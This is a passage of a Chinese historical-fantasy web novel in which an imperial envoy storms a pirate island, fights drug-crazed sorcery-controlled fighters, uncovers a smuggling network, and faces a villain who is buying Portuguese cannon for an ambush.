“生铁、硫磺、硝石,这些官府严禁出海的物资,他们都能弄到。”
“货从扬州走运河到松江,再转海船……据说买家,多是‘外海来的’。”
几乎同时,鹤岑也从扬州城外的天宁寺回来了。
老道神色凝重:“苏大人,寺里一个游方僧人说,他上月从宁波来,路过舟山时,看到‘双屿岛’上人影绰绰,夜里还有火光。”
“当地渔民都说,那岛被一伙‘外海人’占了,不让靠近。”
最后一份情报,来自“云裳阁”杭州分号的密信。
信上说,近来市面上出现一批“水货”丝绸,质地极好,却卖得便宜。
分号掌柜暗中买下几匹,查了织造标记——竟然是苏州织造局今年上贡的宫绸!
贡品怎么流到市面上来了?
只有一个可能:被劫了。
而劫贡品的人,还敢堂而皇之地销赃——胆子不小,路子更野。
苏惟瑾把所有情报铺在桌上,超频大脑将这些碎片信息快速拼接、分析、推理。
倭寇专攻要害……汉人比例高……装备精良……
走私路线……双屿岛……贡品赃物……
一条清晰的线,渐渐浮现出来。
他猛地一拍桌子:“双屿岛!”
所有人都看向他。
“倭寇的巢穴,走私的中转站,赃物的集散地——”苏惟瑾手指重重戳在海图上那个米粒大的标记,“就是这里!”
他转身看向众人,声音斩钉截铁:“传令船队,明日一早改道,不走运河入杭州了。”
“咱们从扬州直接出海,沿近海南下,直扑舟山双屿!”
周大山霍然起身:“得令!”
苏惟虎、胡三也精神一振。
鹤岑捻须微笑:“看来,这趟东南之行,要见血光了。”
舱外,运河的夜色深沉。
远远传来码头上商贩的吆喝声、船夫的号子声,一片太平景象。
可所有人都知道,这份太平,马上就要被打破了。
苏惟瑾锁定双屿岛,直扑倭寇老巢。
但反派早已布下天罗地网,海上的拦截、岸上的伏击、朝中的内应,三路杀招正等着他。
此番直捣黄龙,是能一举端掉倭寇窝点,还是正中敌人下怀,陷入重围?
那黑袍人说的“让东南海水染红”,是否会成为残酷的现实?
而朝中那些“自己人”,此刻又在谋划什么?
箭在弦上,一触即发。
第372章 双屿初交锋,火炮显神威
船队出扬州,入长江,过崇明,进东海。
这一路走了八日。
海上风浪大,不少北兵晕船吐得昏天黑地,连周大山这种铁打的汉子,头两天也趴在船舷边吐酸水。
只有水师出身的苏惟山和那些老水手们如履平地,该吃吃该喝喝,惹得虎贲营的弟兄们眼红。
“看什么看?”
苏惟山端着碗鱼汤,蹲在甲板上喝得滋溜响,“老子在海上漂的时候,你们还在北边玩泥巴呢!”
“苏将军,您给说说,这晕船咋整?”
一个年轻士兵苦着脸问。
“吐着吐着就习惯了。”
苏惟山嘿嘿一笑,“记住啊,眼睛别看浪,看远处。”
“腿要分开站,膝盖微屈,跟着船晃——对对,就像娘们扭秧歌那样!”
众人哄笑,气氛松快了些。
四月廿三,清晨。
瞭望台上的水手突然大喊:“前方有岛!”
所有人都涌到船舷边看。
晨雾渐散,海平面上浮现出一片群岛的轮廓。
大大小小几十个岛,像撒在蓝绸子上的黑芝麻。
最大的那个,就是双屿岛。
苏惟瑾登上旗舰船头,举起自制的望远镜——两块水晶精心打磨后装在铜管里,虽然不如后世的军用望远镜,但也能看清两三里外的细节。
双屿岛果然险要。
岛呈长条形,南北长约五里,东西最宽处不到两里。
四周多是陡峭的悬崖,海浪拍在崖壁上,溅起丈高的白沫。
只有东西两侧各有一个小海湾,湾口狭窄,勉强能容两三艘船并排进入。
岛上植被稀疏,多是低矮的灌木和杂草。
但在东、西、南三处高地上,隐约能看见人工修筑的工事——夯土垒的矮墙,还有几个黑黢黢的炮口。
“他娘的,还真有炮。”
周大山凑过来,眯着眼看,“大人,让俺带人冲一波?”
“不急。”
苏惟瑾放下望远镜,“先断其外援,再清外围,最后总攻。”
他转身下令:“苏惟山!”
“末将在!”
“率水师船队封锁海面,南北各五里,东西各十里。”
“任何船只靠近双屿岛,一律扣押查验。”
“若有反抗,直接击沉。”
“得令!”
“周大山。”
“俺在!”
“今夜子时,率两百精兵乘小艇夜袭。”
“目标——清除岛西、北两侧的明暗哨。”
“记住,要活的,能审问的最好。”
周大山咧嘴笑:“大人放心,俺抓舌头最在行!”
命令传下去,船队开始动作。
十二艘战船分成四组,每组三艘,呈扇形散开,将双屿岛围了起来。
水兵们升起战旗,擂响战鼓,声势浩大。
岛上显然被惊动了。
隐约能看见人影在工事间奔跑,炮台那边有人在调整炮口方向。
但奇怪的是,他们没有开炮——距离太远,射程不够。
苏惟瑾在旗舰上铺开海图,和苏惟虎、鹤岑研究进攻方案。
“东、西、南三处炮台。”
苏惟虎用炭笔在图上标出位置,“每处应有弗朗机炮三到四门。”
“这种炮射程约一里,精度差,但打船够用。”
“东西两个海湾是重点防御区域。”
鹤岑指着图,“这里必有重兵把守。”
“但贫道观此地地形——西侧悬崖虽陡,却有攀援可能。”
苏惟瑾点点头,超频大脑全速运转。
敌我兵力对比、地形优劣、火炮性能、潮汐时间、风向风速……无数数据在脑中碰撞、计算,模拟出数十种进攻方案。
最终,一个计划成型。
“他们不是有火炮吗?”
苏惟瑾冷笑,“咱们也有,而且更多、更准。”
他看向苏惟虎:“神机营的火炮,能打多远?”
苏惟虎想了想:“咱们的改良佛朗机,装药足、炮管长,平地能打一里半。”
“海上无遮挡,顺风的话——两里!”
“够了。”
苏惟瑾手指敲击海图,“把所有火炮集中到旗舰和四艘大船上,组成浮动炮阵。”
“东、西炮台由旗舰对付,南炮台交给另外四船。”
“浮动炮阵?”
苏惟虎眼睛一亮,“这主意好!船在动,炮也在动,他们更难瞄准!”
“还有,”
苏惟瑾补充,“让工匠连夜赶制‘火箭’。”
所谓火箭,就是在普通箭杆上绑缚细竹筒,筒里填满火药和引线。
点燃后射出,可飞百余步,落地爆炸或燃烧。
这玩意儿技术含量不高,但对付木结构工事很管用。
当夜,船队灯火通明。
工匠们砍竹子、配火药、绑箭杆,忙得热火朝天。
水兵们检查火炮、搬运弹药,战前准备一丝不苟。
周大山那边更刺激。
子时刚过,二十艘小艇悄无声息地划向双屿岛西侧。
每艘艇上十人,都是虎贲营里身手最好的。
人人黑衣黑裤,脸上抹了锅底灰,嘴里衔着短刀。
海浪不大,但有节奏的哗啦声正好掩盖了划桨声。
距离崖岸还有百步时,周大山打了个手势。
小艇停下,士兵们从腰间取出飞虎爪——这是锦衣卫常用的攀爬工具,三爪铁钩连着麻绳。
“上!”
十几条飞虎爪同时抛起,勾住崖顶的岩石。
黑影们如猿猴般攀援而上,动作迅捷无声。
崖顶果然有哨岗。
两个倭寇抱着刀,正靠在一块大石后打盹。
突然眼前一黑,嘴被捂住,颈间一凉——就没声了。
周大山摸到其中一个身边,借着月光一看,愣了。
这人虽然穿着倭寇的短打,梳着月代头,但那张脸……分明是汉人长相。
“娘的,还真是二鬼子。”
他啐了一口。
一夜之间,双屿岛外围十二处明哨、八处暗哨,被清理得干干净净。
抓了七个活口,都是汉人,一吓唬就全招了。
岛上倭寇四百余,汉人海盗一千多。
头目有三个:倭寇头子叫“岛津九郎”,是个日本浪人;汉人头目叫“陈疤脸”,就是脸上有刀疤那个;还有个神秘的黑袍人,不常露面,但所有人都怕他。
“黑袍人……”
苏惟瑾听着汇报,眼神一冷,“果然在。”
四月廿四,黎明。
海面上晨雾弥漫,能见度不高。
但这对明军有利——雾能掩护进攻。
旗舰“靖海号”升起红色战旗,这是总攻信号。
四艘装备火炮的大船缓缓调整位置,炮窗打开,黑洞洞的炮口伸出。
“目标——东炮台!”
苏惟虎亲自指挥,“装药,实心弹!”
炮手们熟练地装填火药、塞入弹丸、插好引信。
“放!”
“轰轰轰轰——!”
八门火炮齐射,声震海天。
炮口喷出的火光在雾中格外刺眼,硝烟味瞬间弥漫。
第一轮是试射。
八发炮弹呼啸着飞向双屿岛东侧高地。
大部分落在山坡上,炸得土石飞溅。
但有两发不偏不倚,正中炮台夯土墙。
“轰隆——!”
尘土飞扬中,隐约传来惨叫。
“修正角度,右偏两度,减药一分!”
苏惟虎大吼。
炮手们迅速调整。
第二轮炮击更准了。
六发命中炮台区域,其中一发直接砸进了炮位,把一门弗朗机炮炸得四分五裂。
破碎的炮管、木屑、人体残肢飞上半空,又重重落下。
“打得好!”
周大山在另一艘船上看得直拍大腿。
岛上显然被彻底打懵了。
工事间的人影越来越乱,炮台那边再也没人调整炮口。
苏惟瑾下令:“火箭准备!”
数十枚火箭被搬到甲板上,士兵们点燃引线。
“放!”
箭雨腾空而起,拖着长长的火尾,像流星般砸向岛上的木结构营房。
“噼啪——!”
火光冲天,浓烟滚滚。
营房起火,混乱加剧。
“登陆!”
苏惟瑾一声令下。
三十艘登陆艇从船队中驶出,满载虎贲营士兵,直扑西侧海湾。
滩头的抵抗微弱得可怜。
残存的倭寇和海盗要么被火炮炸懵,要么被大火吓得魂飞魄散,根本组织不起有效防御。
“列阵!”
军官们大吼。
士兵们迅速结阵,三人一组,藤牌在前、长枪居中、火铳殿后。
这是苏惟瑾改良的“三才阵”,对付散兵游勇堪称无解。
倭寇哇哇叫着冲上来,却被藤牌挡住去路,长枪从缝隙中刺出,火铳在后方点名。
“砰砰砰——!”
硝烟再起,冲在最前的倭寇像割麦子一样倒下。
“进!”
阵型稳步推进,像一台精密的机器,碾压着一切抵抗。
周大山冲在最前,斩马刀舞得虎虎生风,连劈三个小头目。
海盗们的士气彻底崩溃,开始往岛心逃窜。
战至午后,双屿岛表面阵地全部攻克。
明军控制了东西海湾、三处高地,俘虏三百余人,缴获火炮九门、火铳百余、刀枪无数。
但最核心的洞穴,还没拿下。
“里面至少还有二百人。”
苏惟虎侦查后回报,“洞口被石块堵住,强攻伤亡会很大。”
苏惟瑾来到洞口前。
这是个石灰岩洞穴,洞口宽约两丈,高不足一丈。
现在被乱石堵得只剩一条缝,仅容一人弯腰通过。
里面黑黢黢的,什么也看不清。
“喊话。”
苏惟瑾下令。
一个懂倭话的水兵上前,用生硬的日语喊道:“投降不杀!出来可免一死!”
洞内沉寂。
良久,里面传出一阵叽里呱啦的叫骂,还有金属碰撞声。
“他们说……”
水兵脸色难看,“宁死不降,要战到最后一人。”
苏惟瑾皱眉。
这不正常。
倭寇虽凶悍,但并非不怕死,打到这份上,按说该投降了。
正疑惑间,洞口突然传来“轰”的一声闷响。
堵门的石块被从里面推开!
紧接着,冲出一伙人。
不,那已经不能算人了。
他们赤裸上身,皮肤上涂满诡异的暗红色纹路,像是用血画的符咒。
眼睛赤红,口角流涎,发出野兽般的嚎叫。
肌肉贲张,青筋暴起,动作快得不像人类。
最可怕的是——刀枪砍在他们身上,只能留下浅浅的伤口。
他们仿佛感觉不到疼痛,继续往前冲。
一个虎贲营士兵挺枪刺去,长枪扎进对方腹部,竟被肌肉夹住,拔不出来。
那怪人嚎叫着抓住枪杆,硬生生折断,反手就把半截枪杆插进了士兵的胸口!
“退!快退!”
周大山大吼。
但已经晚了。
七八个这样的怪人冲进明军阵中,如虎入羊群。
藤牌被徒手撕裂,长枪被折断,火铳来不及装填——转眼间,十几名士兵倒下。
苏惟瑾瞳孔一缩。
超频大脑瞬间调取记忆库——广西平叛时的画面、黑巫师炼制的药粉、那些力大无穷不畏疼痛的叛军……
“勇武膏!”
他厉声道,“是黑巫师的药!这些人被药物控制了!”
话音未落,洞穴深处传来一声嘶哑的狂笑。
那笑声非人非鬼,在岩洞中回荡,令人毛骨悚然。
“苏惟瑾——”
声音从洞中传出,用的是汉语,却带着古怪的口音,“你以为赢了?”
“这才刚刚开始!”
“这东南的海,注定要染红——”
“用你的血!”
双屿岛表面攻克,但洞穴中冲出被“勇武膏”控制的怪人,战局瞬间逆转。
黑巫师势力首次直接介入战斗,那洞中的嘶哑笑声究竟是谁?
这些不畏疼痛的怪人要如何对付?
而黑袍人说的“这才刚刚开始”,是否意味着更大的阴谋还在后头?
首战告捷的喜悦还未散去,更凶险的考验已然来临。
第373章 毒卒虽凶猛,瑾智破邪术
那七八个赤膊狂徒冲出来的瞬间,战场形势陡变。
虎贲营的士兵都是百战老兵,可谁见过这种场面?
刀砍在身上只入肉三分,**进去被肌肉夹住,这些人仿佛不知道疼,嚎叫着继续扑杀。
一个年轻士兵慌了神,手里的藤牌被狂徒一把扯烂。
那狂徒五指如钩,直掏他心窝——
“噗嗤!”
关键时刻,一柄**斜劈而来,将那手臂齐肘斩断!
周大山挡在士兵身前,须发皆张:“发什么愣!结阵!”
他嘴上吼着,心里也发毛。
刚才那一刀他用了全力,按理说该把整个人劈成两半,可只砍断条胳膊。
而且那狂徒断臂处血如泉涌,却仿佛没感觉,用剩下那只手又抓过来。
“**,这还是人吗?”
周大山一脚踹开对方,回手一刀捅进其咽喉。
狂徒终于倒地,四肢还在抽搐。
“别砍身子!砍要害!”
周大山大吼,“脖子、眼睛、裤裆!往这些地方招呼!”
士兵们反应过来,改变战术。
两人一组,一个佯攻吸引注意,另一个专刺咽喉、下阴。
这下有效果了——狂徒再猛,喉咙被刺穿也得死,下体被重击也得瘫。
但伤亡已经造成。
就这么片刻工夫,倒下了十几个虎贲营弟兄。
有的胸口被掏了个窟窿,有的脖子被咬得血肉模糊,场面惨烈。
“大人!退吧!”
一个军官急声道,“这些怪物挡不住!”
苏惟瑾站在后方高坡,眼神冷静得可怕。
超频大脑全速运转,眼前的一切仿佛变成了慢动作。
狂徒的动作轨迹、肌肉反应、受伤后的表现……所有细节被放大、分析、比对。
广西平叛时的记忆被调取出来。
那些服用了“勇武膏”的叛军,也是这般力大无穷、不惧疼痛。
但当时发现,他们仍有弱点——反应会变慢,眼神会涣散,而且……
“不是不怕疼,是痛觉被麻痹了。”
苏惟瑾喃喃自语,“但生理结构没变。”
心脏停了会死,脑子坏了会瘫,关节断了动不了。
他深吸一口气,声音穿透战场:“周大山!听令!”
“大人!”
周大山一刀劈开扑来的狂徒,抽身后退。
“攻其双目、咽喉、下阴!或断其关节!别砍身子,没用!”
“得令!”
周大山精神一振,转身大吼,“都听见没?专打要害!两人一组,断腿断胳膊也行!”
命令传开,虎贲营重新稳住阵脚。
同时,苏惟瑾看向苏惟虎:“神机营,换**!三十步内覆盖射击!”
苏惟虎一愣:“大人,**打不远……”
“就要近的!”
苏惟瑾斩钉截铁,“这些狂徒冲得快,正好撞枪口上!”
“明白!”
神机营火铳手迅速换弹。
**不同于实心**,是在纸壳里装满铁砂、碎瓷片、小石子,一打一片,近战威力极大,但射程不足三十步。
“放!”
“砰砰砰砰——!”
硝烟再起。
冲在最前的几个狂徒,瞬间被打成了筛子。
铁砂瓷片嵌入皮肉,虽然不致命,但密密麻麻的伤口叠加,终于让他们动作迟缓下来。
“再放!”
第二轮**齐射。
这次距离更近,不到二十步。
狂徒们浑身飙血,像破布袋子一样倒下。
但还有三个冲得特别快,已经扑到了阵前。
“竹筒枪!”
苏惟瑾又下令。
几个士兵抬出特制的竹筒——这是出发前按苏惟瑾图纸赶制的,其实就是大号的水枪。
竹筒里装的不是水,而是混了“清心散”的药汤。
这“清心散”是苏惟瑾根据“清心丹”改良的简化版,不能解毒,但里面的薄荷、冰片、樟脑等成分,能强烈刺激黏膜。
“滋——!”
药汤喷出,浇了狂徒满脸。
“嗷——!”
狂徒们捂着眼睛惨叫。
药汤进入眼睛、鼻腔,辛辣刺痛,让他们暂时失去了方向感,在原地打转。
“就是现在!”
周大山抓住机会,带人一拥而上。
刀光闪过,三颗头颅落地。
战场终于安静下来。
三十多个狂徒,全数毙命。
虎贲营这边,阵亡十九人,重伤十一人,轻伤三十余——这是出征以来最惨重的损失。
周大山拄着刀喘粗气,脸上身上都是血,分不清是自己的还是敌人的。
“打扫战场。”
苏惟瑾走下高坡,“重伤员立刻送船医治。”
轻伤员就地包扎。
阵亡弟兄……记下名字,战后厚恤。
他走到一具狂徒尸体前,蹲下仔细查看。
尸体赤裸的上身,那些暗红色纹路还在,凑近了看,像是用某种矿物颜料混合血液画成的,图案诡异扭曲。
鹤岑老道也走过来,蹲在一旁,用手指蘸了点颜料,凑到鼻尖闻了闻。
“朱砂、雄黄、**膏……还有几味贫道辨不出的药材。”
鹤岑皱眉,“这是巫蛊之术,以药力激发人体潜能,又以符咒固锁神智。”
被施术者会力大无穷、不惧疼痛,但……活不过三日。
苏惟瑾默然。
他早猜到这个结果。
这种透支生命力的药物,不可能没有代价。
“洞里应该还有东西。”
他站起身,“走,进去看看。”
洞穴深处,别有洞天。
外面看着狭窄,里面却宽敞得很。
走过三十余步的甬道,眼前豁然开朗——是个天然的石厅,足有五六丈见方。
石厅里点着几盏油灯,光线昏暗。
首先映入眼帘的,是几具尸体。
不是刚死的,而是早已干瘪,像是被抽干了水分,皮肤紧贴骨头,呈诡异的灰黑色。
尸体盘膝而坐,围成一个圈,中间摆着个陶盆,盆里有些黑色灰烬。
“献祭……”
鹤岑低声道,“以活人精血为引,增强药力。”
邪门歪道。
绕过尸体,石厅另一侧摆着些器具。
几个陶罐、瓦盆,还有一套简易的蒸馏设备——铜锅、冷凝管、收集瓶。
旁边木架上,放着各种药材:晒干的**果、曼陀罗花、断肠草、乌头……
最引人注目的是一个石台,台上放着几本书。
书不是纸的,而是羊皮缝制,颜色泛黄,边角破损。
翻开一看,里面写的文字歪歪扭扭,像符号多过像字。
“这是……”
鹤岑拿起一本,凑到灯下细看,脸色渐渐变了。
“国师认得?”
苏惟瑾问。
“西夏文。”
鹤岑沉声道,“党项人的文字。”
西夏**已三百年,这文字早已失传,贫道也是早年游历西北时,在敦煌石窟见过残片。
他翻了几页,越看眉头皱得越紧:“记载的是一些邪门药方和祭祀之法。”
这页说“以童男精血合**膏,可炼勇武散”;这页说“月圆之夜,以七人献祭,可得神力”……荒唐!
恶毒!
苏惟瑾接过书,超频大脑启动语言解析模式。
虽然不认识西夏文,但结合图形、上下文、已知信息,能推测出大概意思。
再加上鹤岑的翻译,整件事渐渐清晰起来。
“西夏遗族……黑巫师……”
苏惟瑾把所有线索串联,“原来如此。”
他想起在广西时,黑巫师供出的“前朝遗族”。
当时以为是前元残余,现在看来,可能更早。
“党项人建立的西夏,亡于蒙古。”
苏惟瑾缓缓道,“**后,部分遗民南迁,潜入西南、东南。”
三百年潜伏,暗中发展势力,意图复国——或者至少,搅乱大明,以图渔利。
鹤岑点头:“说得通。”
这些邪术药方,确有党项巫蛊的影子。
当年西夏国师就擅长此道,据说能炼制药人,力大无穷。
“所以这次的倭乱,”
苏惟瑾眼神冰冷,“根本不是简单的海盗劫掠,而是有组织、有预谋的破坏行动。”
倭寇是刀,黑巫师是持刀的手。
他环视石厅:“搜!仔细搜!任何纸片、信件、器物,全部带走!”
士兵们开始翻查。
半个时辰后,有了新发现。
石厅角落有个暗格,藏在石缝里。
撬开后,里面有个防水的油布包。
包里是几封信。
信纸泛黄,墨迹陈旧,显然有些年头了。
但最上面一封,墨迹较新,应该是不久前写的。
苏惟瑾展开一看,是用汉字写的,但字迹歪斜,像是初学写字的人所书。
内容很简单:
“陈先生已至月港,联络红毛夷人。”
货三十日后到,要快船接应。
双屿事毕,即往汇合。
落款是个古怪的符号,像个扭曲的火焰。
“月港……”
苏惟瑾喃喃道,“福建漳州月港。”
他当然知道这个地方。
明代中后期,月港是东南主要走私港口之一,后来隆庆开关,月港更是成为合法外贸口岸。
现在这个时间点,月港应该已经初具规模。
“红毛夷人”指的是葡萄牙人。
这些西洋人嘉靖初年就开始在东南沿海活动,走私、传教、甚至占据岛屿。
“陈先生……”
苏惟瑾冷笑,“陈瞎子吧?”
看来这老东西从广西逃出来后,一路跑到东南,还在继续搞事。
他把信收好,又看了其他几封。
都是些零碎消息:某月某日,某某商船载生铁若干出港;某某卫所有内应,可提供官兵动向;某某地方官收了银子,
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对走私睁只眼闭只眼……
触目惊心。
这张网,织得又大又密。
从地方官吏到卫所官兵,从沿海豪族到走私商人,甚至还有外夷势力。
“大人,”
苏惟虎走过来,“洞外清理完毕。”
俘虏二百三十七人,其中倭寇八十四,汉人一百五十三。
缴获火炮九门,火铳一百二十支,刀枪五百余,还有金银财货若干。
他顿了顿,压低声音:“审问过了,汉人俘虏里,有十几个招供,说他们是受雇于一个‘陈先生’。”
具体做什么不知道,只听令行事。
苏惟瑾点头:“和信上对得上。”
他走出洞穴,外面天已近黄昏。
双屿岛上硝烟未散,血迹斑斑。
虎贲营士兵正在收敛阵亡同袍的遗体,水师船只往来接送伤员。
夕阳把海面染成血色,真应了那句“海水染红”。
“大人,接下来怎么办?”
周大山包扎好胳膊上的伤,走过来问,“这帮龟孙子,害死咱们这么多弟兄,不能轻饶!”
苏惟瑾望向南方。
海天相接处,暮色苍茫。
“整顿兵马,清点战利品,救治伤员。”
他缓缓道,“三日后,船队南下福建。”
“福建?”
苏惟虎一愣,“不去浙江其他地方了?”
“擒贼先擒王。”
苏惟瑾转身,眼神锐利如刀,“双屿只是巢穴之一,真正的蛇头在月港。”
那位“陈先生”,还有他联络的红毛夷人——我们要去会会他们。
他顿了顿,补充道:“还有,传信给浙江按察使司和都指挥使司,把双屿岛俘虏、缴获、还有这些信件抄本,全部移交。”
让他们顺着线查,该抓的抓,该杀的杀。
“那咱们……”
“咱们去挖根。”
苏惟瑾望着南方海面,“这东南的乱局,该到收网的时候了。”
是夜,船队泊在双屿岛西湾。
旗舰舱内,苏惟瑾在灯下研究那几封西夏文笔记。
鹤岑在一旁翻译,胡三蹲在门口逗弄那只灰背隼,周大山、苏惟虎、苏惟山围坐桌前。
“大人,有件事奇怪。”
苏惟虎道,“今天打扫战场,清点狂徒尸体,只有三十一具。”
但俘虏说,服药的有五十人。
苏惟瑾抬起头:“少了十九个?”
“对。”
苏惟虎点头,“而且洞里的黑袍人——就是那个笑声嘶哑的,没找到尸体。”
问俘虏,都说不知道,只说黑袍人平时很少露面,见了也蒙着脸。
鹤岑捻须道:“怕是趁乱跑了。”
这等妖人,最是狡猾。
苏惟瑾皱眉。
黑巫师首领逃走,这不是好消息。
此人精通邪术,又熟悉东南情况,放虎归山,后患无穷。
正说着,舱外传来脚步声。
胡三的那只灰背隼突然焦躁起来,扑棱着翅膀。
“三爷,您的鸟咋了?”
亲兵问。
胡三脸色一变,抓起灰背隼就冲出舱门。
片刻后,他回来了,手里捏着一小卷油纸。
“公子,刚收到的。”
胡三递过来,“俺驯的一只海东青带回来的,从南边飞来。”
苏惟瑾展开油纸,上面只有一行小字:
“月港有变,陈与红毛夷密谈。”
速来。
没有落款,字迹潦草,像是仓促写成。
“谁传来的?”
周大山问。
苏惟瑾看着纸条,超频大脑瞬间分析出几种可能。
最后,他想到一个人。
彭友信。
这**湖提前潜入东南,现在应该已经在福建活动了。
只有他的人,能用这种方式传信。
“朋友。”
苏惟瑾收起纸条,“看来月港那边,比我们想的还热闹。”
他起身走到舷窗前,望着窗外的夜色。
海面上,月光破碎,随波摇晃。
“传令下去,”
苏惟瑾转身,“休整时间缩短。”
明日一早,重伤员留船医治,其余人马,准备南下。
“这么急?”
苏惟山问。
“急。”
苏惟瑾点头,“蛇要出洞了,咱们得赶在它缩回去之前,把它揪出来。”
舱内众人神色一凛。
他们都明白,双屿岛这一战,只是开始。
真正的较量,在福建月港。
双屿岛虽克,但黑巫师首领逃脱,十九名服药狂徒失踪,隐患未除。
月港传来密报,陈瞎子与葡萄牙人密谈,所谋必定更大。
而那张涉及地方官吏、卫所官兵、沿海豪族的走私网,才露出冰山一角。
苏惟瑾率军南下,是能一举端掉敌巢,还是将陷入更复杂的多方势力漩涡?
那逃走的黑袍人,又会在暗中策划什么新的阴谋?
南下的海路,注定不会太平。
第374章 月港暗潮涌,瞎子会夷商
福建漳州,月港。
这地方和双屿岛那种荒僻海岛完全不同。
虽然名义上只是个镇,可繁华程度不输府城。
码头沿着九龙江支流而建,绵延三四里。
大小船只挨挨挤挤,帆樯如林。
有出海打渔的舢板,有内河运货的乌篷,还有几艘显眼的三桅大船——那是外洋来的番船。
岸上更热闹。
茶楼酒肆、货栈仓库、钱庄当铺,一家挨着一家。
街道上人流如织,穿什么衣裳的都有:短打赤脚的苦力、绸衫折扇的商人、包头巾的阿拉伯人、甚至还能看见几个红发碧眼的“番鬼”。
吆喝声此起彼伏:
“上好的漳绒,刚从织坊出来的!”
“闽南荔枝,甜过蜜糖!”
“番邦的玻璃镜子,照人清清楚楚!”
“海货——刚上岸的咸鱼、虾干、紫菜——”
空气里混杂着鱼腥味、香料味、汗臭味,还有从番船上飘来的,那种说不清道不明的“外洋味”。
这就是月港,大明东南沿海最大的走私港口之一。
官面上,这里禁止对外通商。
可私下里,从南洋的香料、**,到西洋的自鸣钟、玻璃器,再到日本的倭刀、白银,什么都能在这里买卖。
只要你肯出钱,并且……不嫌脏。
离码头约二里地,有处僻静的宅院。
宅子不大,三进三出,白墙黑瓦,看着普通。
但细看就会发现,围墙比寻常宅院高出一截,墙头还插着碎瓷片。
大门常年紧闭,只开侧门进出。
今日午后,侧门悄悄开了条缝。
一个独眼老者走出来,正是陈瞎子。
他换了身绸缎直裰,头戴方巾,手里还拄着根文明杖,看着像个体面乡绅。
只有那只独眼里闪烁的阴狠,透露出这人绝非善类。
他身后跟着两个精壮汉子,眼神警惕地扫视四周。
“都安排好了?”
陈瞎子问,声音沙哑。
“安排好了。”
一个汉子低声道,“宅子前后三条街,都放了哨。”
生人靠近,立刻示警。
陈瞎子点头,走向巷口停着的一顶青布小轿。
轿子不起眼,抬轿的却是四个练家子,脚步沉稳,呼吸绵长。
一路无话。
轿子穿街过巷,最后在一处更偏僻的宅子前停下更偏僻的宅子前停下。
这宅子门脸更小,连匾额都没有,像是个破落户。
但陈瞎子知道,里面别有洞天。
叩门三长两短,门开了条缝。
露出一张麻脸,见是陈瞎子,点点头,放他们进去。
宅内果然宽敞。
前院普通,过了二门,里面竟是个精致的小花园。
假山鱼池,花木扶疏,还有个八角凉亭。
亭子里已经坐了四个人。
都是红发碧眼、高鼻深目的番人。
穿着紧身双排扣上衣、马裤、长筒皮靴,腰挎西洋剑。
为首的四十来岁,一脸络腮胡,正端着个琉璃杯,慢悠悠品着杯中的……葡萄酒。
见陈瞎子进来,他放下杯子,用生硬的汉语道:“陈先生,准时。”
“费尔南多船长。”
陈瞎子拱手笑道,“让诸位久等,实在失礼。”
费尔南多摆摆手,示意他坐。
另外三个番人——副船长、炮手长、水手长,都用审视的目光打量着陈瞎子。
“陈先生,”
费尔南多直入主题,“您要的火炮和火绳枪,我们已经运到。”
三门六磅炮,五十支火绳枪,还有配套的**、弹丸。
都在外面的“圣卡特琳娜号”上。
他说着,从怀里掏出一张清单,推到陈瞎子面前。
陈瞎子拿起清单,独眼扫过。
他其实识不了几个字,但数字和物品名称还是认得的。
“费尔南多船长办事,果然爽快。”
他放下清单,“货,我们验过了,没问题。”
您要的白银和生丝,也准备好了。
随时可以交割。
费尔南多眼睛一亮:“一次性付清?”
“一次性。”
陈瞎子点头,“做生意,讲究诚信。”
他说着,拍了拍手。
两个汉子抬进来一口木箱。
箱子打开,里面是码放整齐的银锭,在午后阳光下白花花一片,晃人眼。
另一个箱子打开,是色泽温润的上等生丝。
费尔南多起身,走到箱子前,拿起一锭银子掂了掂,又捻起一缕生丝看了看成色。
脸上露出满意的笑容。
“陈先生,合作愉快。”
他伸出手。
陈瞎子和他握了握手,却道:“不过,还有一笔更大的生意,不知船长感不感兴趣?”
“更大的?”
费尔南多坐回座位,“说说看。”
陈瞎子压低声音:“大明有位权贵,想要一批‘特别’的火器。”
不是这种六磅炮,而是……射程更远、威力更大的那种。
最好是欧洲最新式的。
费尔南多和他三个手下对视一眼。
副船长用葡萄牙语快速说了几句,费尔南多听着,眉头皱起又舒展。
“您说的是……十二磅舰炮?”
费尔南多转回头,“那个可不容易运进来。”
太大了,而且大明海关查得严。
“所以才找您费尔南多船长。”
陈瞎子笑道,“谁不知道,‘圣卡特琳娜号’是这海上最快、最隐蔽的船。”
您有办法。
他伸出三根手指:“一门炮,这个数。”
“三百两?”
费尔南多挑眉。
“三千两。”
陈瞎子淡淡道。
“嘶——”
四个番人同时倒吸一口凉气。
三千两白银一门炮!
这是什么概念?
他们在海上抢半年商船,都不一定赚得到这个数!
费尔南多的呼吸急促起来,络腮胡下的喉结滚动:“几门?”
“先要四门。”
陈瞎子道,“如果好用,再加。”
四门,就是一万两千两!
费尔南多和手下交换眼神,都看到彼此眼里的贪婪。
“时间,”
费尔南多强迫自己冷静下来,“我们需要时间。”
从果阿调货,再运过来……至少三个月。
“三个月……”
陈瞎子喃喃道,独眼里闪过算计,“来得及。”
就三个月。
他顿了顿,又道:“还有一件事,想请船长帮忙。”
“请讲。”
陈瞎子从袖中取出一张海图,铺在石桌上。
这是东南沿海的简图,上面用朱笔画了一条线——从舟山群岛到福建沿海。
“近期,会有一支大明官军船队南下。”
陈瞎子手指点在线路上,“大约二十艘船,为首的是个钦差大臣,叫苏惟瑾。”
听到“苏惟瑾”三个字,费尔南多皱眉:“我听说过这个人。”
据说在广西打过仗,不好惹。
“正是。”
陈瞎子独眼里寒光一闪,“此人是我等心腹大患。”
若贵方在海上‘偶遇’,不妨……
他做了个抹脖子的手势。
亭子里安静下来。
只有风吹过花园树叶的沙沙声。
费尔南多沉默良久,缓缓摇头:“攻击大明钦差……这风险太大。”
一旦败露,我们在大明沿海就待不下去了。
“海上风高浪急,出点‘意外’很正常。”
陈瞎子冷笑,“船沉了,人**,谁说得清是意外还是袭击?”
他再次伸出五根手指:“事成之后,再加五千两。”
五千两!
加上之前的火炮生意,这就是将近两万两白银!
副船长忍不住用葡萄牙语道:“船长,干吧!”
咱们的船比明军快,炮比他们准。
打完了就跑,他们追不上!
炮手长也道:“是啊船长,这可是送上门的肥羊。”
明军那些破船,咱们一轮齐射就能打沉几艘。
费尔南多看着陈瞎子,又看看桌上那张海图,再想想那白花花的银子……
最终,贪婪战胜了谨慎。
“……我们会‘留意’的。”
他沉声道,“但不敢保证一定成功。”
如果情况不利,我们会撤退。
陈瞎子笑了:“当然。”
费尔南多船长是聪明人,知道该怎么做。
他站起身:“那么,合作愉快。”
第一批货款,明日就送到船上。
